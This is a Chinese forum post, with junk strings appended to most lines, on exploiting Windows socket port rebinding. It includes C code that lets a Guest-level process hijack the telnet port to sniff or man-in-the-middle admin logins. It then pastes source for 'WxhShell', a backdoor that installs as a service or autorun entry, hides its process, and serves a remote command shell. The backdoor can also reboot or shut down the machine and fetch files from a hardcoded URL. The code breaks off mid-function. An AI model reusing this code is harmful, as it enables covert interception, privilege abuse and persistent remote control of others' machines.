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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #"l=Lv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1ARIZ;H  
n7vi@^lf(  
  saddr.sin_family = AF_INET; p6p_B   
L-yC'C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *P>F# ~X  
^<c?Ire  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K2JS2Y]  
H|]Q;,C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x\WKsc  
``{xm1GK  
  这意味着什么?意味着可以进行如下的攻击: "Z <1Msz  
70@:!HI]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xQ4Q'9  
}/=_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0t8-oui  
[LE_lATjU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3$_wAt4w  
:|bPr_&U$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {>#Ya;E  
*:iFhKFU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JdE=!~\8  
{.v+ iSM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t5S S]  
h1xYQF_`Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N]3XDd|q  
d}1R<Q;F  
  #include ]'Bz%[C)  
  #include L]Uy+[gg  
  #include 8WMC ~  
  #include    +u7mw<A 8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   iVE+c"c!2&  
  int main() kAMt8  
  { %j yLRT]H  
  WORD wVersionRequested; R b'"09)$  
  DWORD ret; b@Fa| >"_  
  WSADATA wsaData; FKPI{l  
  BOOL val; 9kcAMk1K  
  SOCKADDR_IN saddr; i -+B{H  
  SOCKADDR_IN scaddr; HQ"D>hsuU  
  int err; j:g/[_0s  
  SOCKET s; "Mth<%i  
  SOCKET sc; rc"yEI-``"  
  int caddsize; qSON3Iid  
  HANDLE mt; ^vUdf.n9  
  DWORD tid;   ~e|~c<!z8@  
  wVersionRequested = MAKEWORD( 2, 2 ); |#k1a:  
  err = WSAStartup( wVersionRequested, &wsaData ); Hly$ Wm  
  if ( err != 0 ) { Tw$lakw  
  printf("error!WSAStartup failed!\n"); ~%cbp&s*/q  
  return -1; "~tEmMz  
  } % %*t{0!H+  
  saddr.sin_family = AF_INET; l&zd7BM9(  
   6u7>S?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7P=j2;7 v  
qvCl mZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s {!F@^a  
  saddr.sin_port = htons(23); RDZl@ps8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) koFY7;_<?  
  { f5AK@]4G  
  printf("error!socket failed!\n"); AkGCIn3  
  return -1; 5E$)Ip  
  } L0}"H .  
  val = TRUE; tR1 kn&w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~Os~pTo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ip~PF5  
  { ?_IRO|  
  printf("error!setsockopt failed!\n"); 1 Nv_;p.{  
  return -1; mjf U[2  
  } MbYAK-l.h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H'GyWG|Wx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {/N4/gu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tT'+3  
aB.`'d)V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7cH[}v`pn  
  { fDf:Jec`[  
  ret=GetLastError(); ~u3E+w  
  printf("error!bind failed!\n"); q*8^938  
  return -1; .Um.dXBYU  
  } lf&g *%?1  
  listen(s,2); ]h,XRDK  
  while(1) +v/_R{ M  
  { 5F $W^N  
  caddsize = sizeof(scaddr); smJ%^'x  
  //接受连接请求 |nIm$p'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7i`8 c =.  
  if(sc!=INVALID_SOCKET) |oa 9 g2  
  { IWX%6*Zz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !ce5pA  
  if(mt==NULL) R["_Mff  
  { ^8-CUH\  
  printf("Thread Creat Failed!\n"); j*xxOwf  
  break; {x  s{  
  } Zj%l (OVq  
  } 6s@'z<Ct  
  CloseHandle(mt); GHfsq|*j,Z  
  } UT%^!@u  
  closesocket(s); !q mnMY$  
  WSACleanup(); t0(1qFi  
  return 0; "*a^_tsT?i  
  }   /2 ')u|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4 @ )|N'  
  { 4gzrxV  
  SOCKET ss = (SOCKET)lpParam; VU9w2/cM  
  SOCKET sc; =otJf~  
  unsigned char buf[4096]; wS9EC}s:Q  
  SOCKADDR_IN saddr; b$[O^p9x  
  long num; 3+rud9T  
  DWORD val; adRvAq]mA  
  DWORD ret; ]25 xX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lOYzo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1*,f  
  saddr.sin_family = AF_INET; n]jZ2{g+   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >d%;+2  
  saddr.sin_port = htons(23); dX?8@uzu  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q)#+S(TG  
  { lku}I4  
  printf("error!socket failed!\n"); D<78Tm x  
  return -1; sE{A~{a`  
  } { <f]6  
  val = 100; \L Gj]mb1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V*U{q%p(  
  { Ey4%N`H-^  
  ret = GetLastError(); : A9G>qg  
  return -1; gP:mZ7  
  } 0rP`BK|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bS[;d5  
  { 'tm%3` F  
  ret = GetLastError(); T*e>_\Tx  
  return -1; k` cz$>  
  } nO.RB#I$F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d2Pqi* K  
  { ( E;!.=%  
  printf("error!socket connect failed!\n"); F l@%?  
  closesocket(sc); FwKT_XkY  
  closesocket(ss); {N!Xp:(<7_  
  return -1; ?VaWOwWI  
  } lky{<jZ%  
  while(1) ] ;" blB  
  { V~([{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 N{w)}me[YY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gJz~~g'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MZ]#9/  
  num = recv(ss,buf,4096,0); Pv,Q*gh`  
  if(num>0) LX5, _`B  
  send(sc,buf,num,0); ]#x!mZ!  
  else if(num==0) 8$4@U;Vh;  
  break; ?( rJ  
  num = recv(sc,buf,4096,0); tn>z%6;&Z  
  if(num>0) !(QDhnx}9c  
  send(ss,buf,num,0); rXgU*3 RG  
  else if(num==0) w eu3c`-a  
  break; >LS*G qjq  
  } IWc?E  
  closesocket(ss); "-bsWC  
  closesocket(sc); 4AA3D!$  
  return 0 ; KVQ|l,E, /  
  } ZxW4 i  
anxZ|DE  
 #4?Z|_j3  
========================================================== RHe'L36W  
walQo^<  
下边附上一个代码,,WXhSHELL 1HPYW7jk@"  
D}YAu,<K  
========================================================== , z8<[Q-#  
>AFX}N#  
#include "stdafx.h" BTi:Bcv k  
Tp-<!^o4  
#include <stdio.h> ,j^z];  
#include <string.h> <B"M} Y>_P  
#include <windows.h> fiG/ "/u  
#include <winsock2.h> 0{0BL@H  
#include <winsvc.h> N!RkV\:X  
#include <urlmon.h> U5_1-wV  
Wg\`!T  
#pragma comment (lib, "Ws2_32.lib") &\[3m^L  
#pragma comment (lib, "urlmon.lib") ZoFQJJK56B  
xweV8k/  
#define MAX_USER   100 // 最大客户端连接数 t.f#_C\  
#define BUF_SOCK   200 // sock buffer mV\QZfoF  
#define KEY_BUFF   255 // 输入 buffer YhpNeP{A  
6<E4?<O%  
#define REBOOT     0   // 重启 2pu8')'P  
#define SHUTDOWN   1   // 关机 g3*" ^C2=  
#I]5)XT  
#define DEF_PORT   5000 // 监听端口 P01o:/}  
.@7J8FS*  
#define REG_LEN     16   // 注册表键长度  B6| g2Tt  
#define SVC_LEN     80   // NT服务名长度 60*;a*cy  
SY: gr  
// 从dll定义API YSQB*FBz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q>JW$8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !+Ia#(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "'M>%m u  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S4qj}`$ Yv  
DH@})TN*O  
// wxhshell配置信息 \(m_3 H  
struct WSCFG { aDXdr\ C6  
  int ws_port;         // 监听端口 {i}z|'!  
  char ws_passstr[REG_LEN]; // 口令 R[ 'k&jyi  
  int ws_autoins;       // 安装标记, 1=yes 0=no JYQ.Y!X1O  
  char ws_regname[REG_LEN]; // 注册表键名 y:\ ^[y IQ  
  char ws_svcname[REG_LEN]; // 服务名 +1`Zu$|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qJ\tc\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 g(9\r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y6J7N^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N|G=n9p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Zjo8/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k{fTq KS%h  
qT U(]O1  
}; M@LI(;  
!kzC1U  
// default Wxhshell configuration 86.LkwlqoH  
struct WSCFG wscfg={DEF_PORT, )@%wj;>a  
    "xuhuanlingzhe", OIT9.c0h  
    1, W6=j^nv  
    "Wxhshell", fevL u[,  
    "Wxhshell", oN0p$/La  
            "WxhShell Service", z% ln}  
    "Wrsky Windows CmdShell Service", /~k)#44  
    "Please Input Your Password: ", v&.`^ O3W  
  1, >O7ITy  
  "http://www.wrsky.com/wxhshell.exe", }=d]ke9_  
  "Wxhshell.exe" +Xa^3 =B  
    }; t")+ L{  
%&D,|Yl6  
// 消息定义模块 ?2#!63[Kg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h}vzZZ2,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pWU3?U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7.-g=Rcz  
char *msg_ws_ext="\n\rExit."; ZjlFr(  
char *msg_ws_end="\n\rQuit."; cy0 %tsB|  
char *msg_ws_boot="\n\rReboot..."; q?Jd.r5*  
char *msg_ws_poff="\n\rShutdown..."; uyd y[n\  
char *msg_ws_down="\n\rSave to "; MT`gCvoF4P  
a,B2;4"  
char *msg_ws_err="\n\rErr!"; x2 s%qZ#  
char *msg_ws_ok="\n\rOK!"; 1-HL#y*7$  
sk0N=5SB-  
char ExeFile[MAX_PATH]; D/T& 0  
int nUser = 0; mY}_9rTn|  
HANDLE handles[MAX_USER]; +Xb )bfN  
int OsIsNt; vrS)VJg`  
AixQR[Ul*c  
SERVICE_STATUS       serviceStatus; ,34|_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iG:9uDY  
6CKWKc  
// 函数声明 jGM+  
int Install(void); \,U#^Vr  
int Uninstall(void); f?-=&||f78  
int DownloadFile(char *sURL, SOCKET wsh); P>*g'OK^!G  
int Boot(int flag); lkj^<%N"r  
void HideProc(void); Q}a, f75  
int GetOsVer(void); ;(]O*{F7k  
int Wxhshell(SOCKET wsl); RoL5uha,l  
void TalkWithClient(void *cs); Bl)znJ^  
int CmdShell(SOCKET sock); Rnl 4  
int StartFromService(void); zjyj,jP  
int StartWxhshell(LPSTR lpCmdLine); 8{mQmG4  
$OE~0Z\0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6SYQRK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @B<B#  
--ED]S 8  
// 数据结构和表定义 ?dWfupO{  
SERVICE_TABLE_ENTRY DispatchTable[] = $O n  
{ /}_OCuJJ,  
{wscfg.ws_svcname, NTServiceMain}, -jBk  
{NULL, NULL} F vJJpPS  
}; $!+t2P@d.5  
6mawcK:7  
// 自我安装 qDOJ;> I  
int Install(void) 2u0dn?9\  
{ >a5M:s)  
  char svExeFile[MAX_PATH]; IaxzkX_48  
  HKEY key; iQrTEp  
  strcpy(svExeFile,ExeFile); r_sZw@lqJ  
*O`76+iZ|_  
// 如果是win9x系统,修改注册表设为自启动 HA +EuQE"  
if(!OsIsNt) { oD5VE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f8>S<:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ol;}+?[Q  
  RegCloseKey(key); ZI<p%IQ   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W*'gqwM&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |2yTt*!-r  
  RegCloseKey(key); &9Vm3X  
  return 0; 9.bMA<X  
    } TEgmE9^`)7  
  } ;%Z%]nIS  
} Tum9Xa  
else { %h "+J  
6bL"ZOEu  
// 如果是NT以上系统,安装为系统服务 [+=h[DC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }v0IzGKs  
if (schSCManager!=0) 0baq696<F  
{ T>"GH M  
  SC_HANDLE schService = CreateService Ek!$Ary  
  ( 4r@dV%:%<  
  schSCManager, p[Z'Fl  
  wscfg.ws_svcname, nN|zEw]  
  wscfg.ws_svcdisp, (#w8/@JxF  
  SERVICE_ALL_ACCESS, J- %YmUc)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GJ>vL  
  SERVICE_AUTO_START, @ 2mJh^cj  
  SERVICE_ERROR_NORMAL, zTFfft<  
  svExeFile, s+"[S%  
  NULL, *^'$YVd#  
  NULL, ^k&T?uU  
  NULL, d|,,,+fS  
  NULL, :#M(,S"Qq  
  NULL UX-l`ygl  
  ); R:*I>cRs  
  if (schService!=0) x6,kG  
  { 1dhp/Qh  
  CloseServiceHandle(schService); XxW~4<r  
  CloseServiceHandle(schSCManager); (t.pM P4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yFt'<{z[nL  
  strcat(svExeFile,wscfg.ws_svcname); +vxU~WIV&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0:(`t~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _8Si8+j  
  RegCloseKey(key); }2sc|K^  
  return 0; 8aCa(Xu(H  
    } y{Wtm7fnA  
  } AHws5#;$6*  
  CloseServiceHandle(schSCManager); G0sg\]  
} C[j'0@~V:B  
}  T)o)%Yv  
;SBM7fwRk  
return 1; @Q"%a`mKH  
} &hmyfH&S  
~lx5RTkp  
// 自我卸载 C9-90,  
int Uninstall(void) S.o@95M   
{ z3IQPl^  
  HKEY key; H6<\7W89y  
uJ S+;H  
if(!OsIsNt) { jW6~^>S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A9lnQCsJ  
  RegDeleteValue(key,wscfg.ws_regname); UQl3Tq4QM  
  RegCloseKey(key); nq#k}Qx:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -9"hJ4  
  RegDeleteValue(key,wscfg.ws_regname); f-5vE9G3y7  
  RegCloseKey(key); ^>?gFvWB%  
  return 0;  D7%`hU  
  } S3-3pJ]~Zk  
} aHKv*-z-  
} KZn\ iwj  
else { $'}:nwq6x  
+ M2|-C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sqw.p#  
if (schSCManager!=0) 4|fI9.  
{ xz dqE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =K#D^c~  
  if (schService!=0) zJ42%0g  
  { JLT ^0wBB  
  if(DeleteService(schService)!=0) { 9N>Dp N  
  CloseServiceHandle(schService); Y_&D W4  
  CloseServiceHandle(schSCManager); [`P+{ R  
  return 0; (o_wv  
  } wVCZ=\L}  
  CloseServiceHandle(schService); PTe8,cD>  
  } &?(r# T  
  CloseServiceHandle(schSCManager); YPAMf&jEF  
} H"4^  
} `.+_}.m  
d$<HMs:o@  
return 1; #RoGyrLo  
} m(nGtrQJm  
V7u;"vD  
// 从指定url下载文件 T78`~-D4<  
int DownloadFile(char *sURL, SOCKET wsh) :)+|q  
{ ^9eJ)12pK  
  HRESULT hr; CuPZ0  
char seps[]= "/"; 9;u$a^R.  
char *token; )*N]Q  
char *file; oB8u[ !  
char myURL[MAX_PATH]; i Xtar;%  
char myFILE[MAX_PATH]; B8z3W9  
,u|vpN  
strcpy(myURL,sURL); q4$zsw  
  token=strtok(myURL,seps); sHO6y0P  
  while(token!=NULL) Le"$ksu>  
  { nG&= $7x^  
    file=token; ;5 cg<~t  
  token=strtok(NULL,seps); t^. U<M  
  } c@)k#/[[b  
^w4FqdGM  
GetCurrentDirectory(MAX_PATH,myFILE); IbQ3*  
strcat(myFILE, "\\"); ~4o2!!^tI  
strcat(myFILE, file); <Yfk7Un  
  send(wsh,myFILE,strlen(myFILE),0); XA} !  
send(wsh,"...",3,0); ']1j M n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )'(7E$d  
  if(hr==S_OK) %fMK^H8{  
return 0; hA6!F#1  
else uJ,>Y# ?  
return 1; XoM+"R"  
%^xY7!{  
} F*hOa|7/  
O-6848iCX  
// 系统电源模块 W0eb9g`s  
int Boot(int flag) -Cv:lJj  
{ g*Nc+W](P>  
  HANDLE hToken; t{tcy$bw  
  TOKEN_PRIVILEGES tkp; 9mkt.>$  
po+>83/!oq  
  if(OsIsNt) { ?!1K@/!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zC6,m6Dv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MIasCH>r  
    tkp.PrivilegeCount = 1; {ScilT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tG(?PmQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z c N1i^   
if(flag==REBOOT) { EY;C5P4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yWsV !Ub  
  return 0; 1Qui.],c  
} PiXegh WH  
else { kL,bM.;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |XOD~Plo^  
  return 0; GQ ZEMy7  
} NK]X="`  
  } aH'Sz'|E  
  else { E[HXbj"  
if(flag==REBOOT) { :9q=o|T6D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #4_'%~-e  
  return 0; zb Z0BD7e  
} \D>vdn"Lx  
else { l)GV&V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ee;&;Q,O.z  
  return 0; D%kY  
} !vHUe*1a{  
} Q+gd|^Vc9  
fdGls`H  
return 1; ]N!382  
} x|n2,3%  
.ICGGC`O  
// win9x进程隐藏模块 BO<I/J~b  
void HideProc(void) #DpDmMP9R3  
{ J2 {?P cs  
A~&Tp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sG*1?  
  if ( hKernel != NULL ) =< j8)2  
  { Alaq![7MDP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |H 0+.f;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bh?K_{e  
    FreeLibrary(hKernel); i6M_Gk}  
  } Au,xIe!t  
4Mi~eL%D (  
return; tKgPKWP   
} =z^v)=uhp  
G\&4_MS  
// 获取操作系统版本 hX(:xc  
int GetOsVer(void) :$ j6  
{ #`)zD"CO  
  OSVERSIONINFO winfo; W-zD1q~0?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IM),cOp=  
  GetVersionEx(&winfo); )?RR1P-ID  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o,(MB[|hQ  
  return 1; WgPpW!`  
  else K4NB#  
  return 0; #FKo:id`K  
} o^%4w>|  
Q.Uyl:^PxU  
// 客户端句柄模块 0\# uxzdhJ  
int Wxhshell(SOCKET wsl) =qiX0JT  
{ l/0TNOA  
  SOCKET wsh; 9{_D"h}}  
  struct sockaddr_in client; X>l  
  DWORD myID; @1ZLr  
?kvkkycI   
  while(nUser<MAX_USER) #R v&b@K  
{ lx,^Y 647  
  int nSize=sizeof(client); &*iar+vr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pfsRV]  
  if(wsh==INVALID_SOCKET) return 1; '|Dm\cy  
VXlTA>a }  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bSsX)wHm  
if(handles[nUser]==0) ]@_M)[ x  
  closesocket(wsh); A$ v Cm  
else I_N(e|s\U  
  nUser++; fvccut;K  
  } 7JNhCOBB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W#!![JDc  
-I4-K%%B`  
  return 0; LyRto  
} ?LAKH$t  
*kE2d{h^=C  
// 关闭 socket pv8"E?9,k  
void CloseIt(SOCKET wsh) f@Mm{3&.  
{ i2`i5&*  
closesocket(wsh); 1V(tt{  
nUser--; ; =.VKW%U  
ExitThread(0); E&r*[;$  
} Ld6j;ZJ';  
:c%vl$  
// 客户端请求句柄 //*>p  
void TalkWithClient(void *cs) _D7MJT  
{ }2 zJ8A9-  
EdxTaR  
  SOCKET wsh=(SOCKET)cs; zS*GYE(l^  
  char pwd[SVC_LEN]; (wLzkV/6  
  char cmd[KEY_BUFF]; }<`Mn34@  
char chr[1]; 0Pw?@uV  
int i,j; =+`I%>wc  
{<%zcNKl^L  
  while (nUser < MAX_USER) {  4KF 1vw  
99 /fI  
if(wscfg.ws_passstr) { ?r C^@)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `~Nd4EA)2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =;Gy"F1 dp  
  //ZeroMemory(pwd,KEY_BUFF); "pTyQT9P  
      i=0; E`%Ewt$Z  
  while(i<SVC_LEN) { ^50#R< Ny  
XmN3[j  
  // 设置超时 J/Ki]T9  
  fd_set FdRead; 8_WFSF^  
  struct timeval TimeOut; >Z ZX]#=I  
  FD_ZERO(&FdRead); 0kP, Zj<  
  FD_SET(wsh,&FdRead); &qqS'G*  
  TimeOut.tv_sec=8; Uv'.]#H<  
  TimeOut.tv_usec=0; Rg~ ~[6G>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *l:5FT p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %m r  
sxcpWSGA^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oZ;u>MeZ  
  pwd=chr[0]; ?z>ZsD  
  if(chr[0]==0xd || chr[0]==0xa) { $FUWB6M  
  pwd=0; ~L j[xP  
  break; ukBj@.~  
  } e(E6 t_  
  i++; 3Tv;<hF  
    } X?5M)MP+I  
1MV\Jm  
  // 如果是非法用户,关闭 socket ilL] pU-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1L.H"  
} @A6 P[r  
X& EcQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J2VhheL`J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PK^{WF}L;  
^Z]1Z  
while(1) { $'!r/jV  
N9IBw',  
  ZeroMemory(cmd,KEY_BUFF); WF#eqU*&  
ka3Jqy4[  
      // 自动支持客户端 telnet标准   sS#Lnj^`%  
  j=0; 2@WF]*Z  
  while(j<KEY_BUFF) { `h+ia/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wlr/zquAE9  
  cmd[j]=chr[0]; R:HF~}  
  if(chr[0]==0xa || chr[0]==0xd) { cd,)GF  
  cmd[j]=0; H/m -$;cF3  
  break; CbTYt6DC  
  } 6u^M fOc  
  j++; rxtp?|v9  
    } r<4FF=  
+BcJHNIB  
  // 下载文件 v#i,pBj  
  if(strstr(cmd,"http://")) { 2OFrv=F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3]Rb2$p[=  
  if(DownloadFile(cmd,wsh))  J5 PXmL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  boAu  
  else NFpR jC?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T^YdAQeE  
  } iW\cLp "  
  else { <}x_F)E[t  
e glcf z%  
    switch(cmd[0]) { A+i|zo5p=k  
  :/'2@M  
  // 帮助 I_xvg >i  
  case '?': { 4A(kM}uRB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1+6)0 OH{  
    break; ],{b&\  
  } *k$&U3=  
  // 安装 R<aF;Rvb5  
  case 'i': { ]H8,}  
    if(Install()) *{|{T_H:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk#xbvvG  
    else k@r%>Ul@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_66q7U"0  
    break; gB1w,96J  
    } "@Ir Bi6  
  // 卸载 Ng=XH"ce~  
  case 'r': { D9 `J||]E  
    if(Uninstall()) OL|_@Fv`A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O^(ji8[l  
    else .: ~);9kj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RL0,QC)e#@  
    break; GZgu1YR  
    } tVJ}NI #  
  // 显示 wxhshell 所在路径 D0Cs g39  
  case 'p': { 2 t'^  
    char svExeFile[MAX_PATH]; 3dm lP2  
    strcpy(svExeFile,"\n\r"); ;`<uo$R  
      strcat(svExeFile,ExeFile); ir^%9amh  
        send(wsh,svExeFile,strlen(svExeFile),0); #;ez MRKM"  
    break; =@w,D.5h  
    } Yg_;Eu0'?  
  // 重启 hkOhY3K5  
  case 'b': { L|hsGm\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y ;W|)  
    if(Boot(REBOOT)) *`D(drnT{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8!87p?Mz  
    else { }c/p+Wo  
    closesocket(wsh); Uz(Sv:G  
    ExitThread(0); 6^ UQ{P1;  
    } M(>"e*Pi  
    break; ~RdJP'YF-  
    } -olD!zKS  
  // 关机 oCD#Gmr  
  case 'd': { -90qG"@  
